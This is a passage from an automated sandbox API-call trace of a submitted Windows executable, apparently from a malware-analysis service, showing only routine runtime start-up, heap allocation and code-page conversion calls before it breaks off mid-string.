# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jul 9 2019 16:03:52 # Log Creation Date: 19.07.2019 06:56:56.508 Process: id = "1" image_name = "ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe" page_root = "0x4e3be000" os_pid = "0x8d4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x8d8 [0028.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x37388740, dwHighDateTime=0x1d53dff)) [0028.145] GetCurrentThreadId () returned 0x8d8 [0028.146] GetCurrentProcessId () returned 0x8d4 [0028.146] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=14836974376) returned 1 [0028.146] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0028.146] GetProcessHeap () returned 0xcf0000 [0028.147] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0028.147] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0028.147] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0028.147] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0028.147] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0028.147] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0028.147] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0028.147] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0028.148] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0028.149] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0028.149] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0028.149] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0028.149] GetProcAddress (hModule=0x76c20000, lpProcName=0x411ff4) returned 0x76cb4751 [0028.149] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0028.149] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0028.149] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0028.149] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0028.149] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0028.149] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0028.149] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0028.149] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0028.150] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x3bc) returned 0xd03f00 [0028.150] GetCurrentThreadId () returned 0x8d8 [0028.150] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x18) returned 0xcff9a0 [0028.150] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x800) returned 0xd042c8 [0028.150] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x407684, hStdOutput=0x42b7f924, hStdError=0x0)) [0028.150] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0028.150] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0028.150] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0028.150] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" " [0028.150] GetEnvironmentStringsW () returned 0xd04ad0* [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xaca) returned 0xd055a8 [0028.151] FreeEnvironmentStringsW (penv=0xd04ad0) returned 1 [0028.151] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc18d28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe")) returned 0x5e [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc6) returned 0xd04ad0 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x98) returned 0xd04ba0 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x3e) returned 0xd06098 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x6c) returned 0xd00f20 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x6e) returned 0xd04c40 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x78) returned 0xd01100 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x62) returned 0xd04cb8 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x2e) returned 0xd04d28 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x48) returned 0xd04d60 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x28) returned 0xd04db0 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x1a) returned 0xd03998 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x4a) returned 0xd04de0 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x72) returned 0xd01180 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x30) returned 0xd04e38 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x2e) returned 0xd04e70 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x1c) returned 0xd039c0 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0xd2) returned 0xd04ea8 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x7c) returned 0xd04f88 [0028.151] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x36) returned 0xd05010 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x3a) returned 0xd060e0 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x90) returned 0xd05050 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x24) returned 0xd050e8 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x30) returned 0xd05118 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x36) returned 0xd05150 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x48) returned 0xd05190 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x52) returned 0xd051e0 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x3c) returned 0xd06128 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x82) returned 0xd05240 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x2e) returned 0xd052d0 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x1e) returned 0xd039e8 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x2c) returned 0xd05308 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x54) returned 0xd05340 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x52) returned 0xd053a0 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x2a) returned 0xd05400 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x3c) returned 0xd06170 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x54) returned 0xd05438 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x24) returned 0xd05498 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x30) returned 0xd054c8 [0028.152] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x8c) returned 0xd05500 [0028.152] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0xd055a8 | out: hHeap=0xcf0000) returned 1 [0028.153] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x80) returned 0xd05598 [0028.153] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0028.153] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x800) returned 0xd05620 [0028.153] GetLastError () returned 0x0 [0028.153] SetLastError (dwErrCode=0x0) [0028.153] GetLastError () returned 0x0 [0028.153] SetLastError (dwErrCode=0x0) [0028.153] GetLastError () returned 0x0 [0028.153] SetLastError (dwErrCode=0x0) [0028.153] GetACP () returned 0x4e4 [0028.153] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x220) returned 0xd05e28 [0028.154] GetLastError () returned 0x0 [0028.154] SetLastError (dwErrCode=0x0) [0028.154] IsValidCodePage (CodePage=0x4e4) returned 1 [0028.154] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0028.154] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0028.154] GetLastError () returned 0x0 [0028.154] SetLastError (dwErrCode=0x0) [0028.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0028.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0028.154] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0028.154] GetLastError () returned 0x0 [0028.154] SetLastError (dwErrCode=0x0) [0028.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0028.154] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0028.154] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0028.154] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0028.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb4\xf8\xb7\x42\xe4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0028.155] GetLastError () returned 0x0 [0028.155] SetLastError (dwErrCode=0x0) [0028.155] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0028.155] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0028.155] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0028.155] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0028.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ 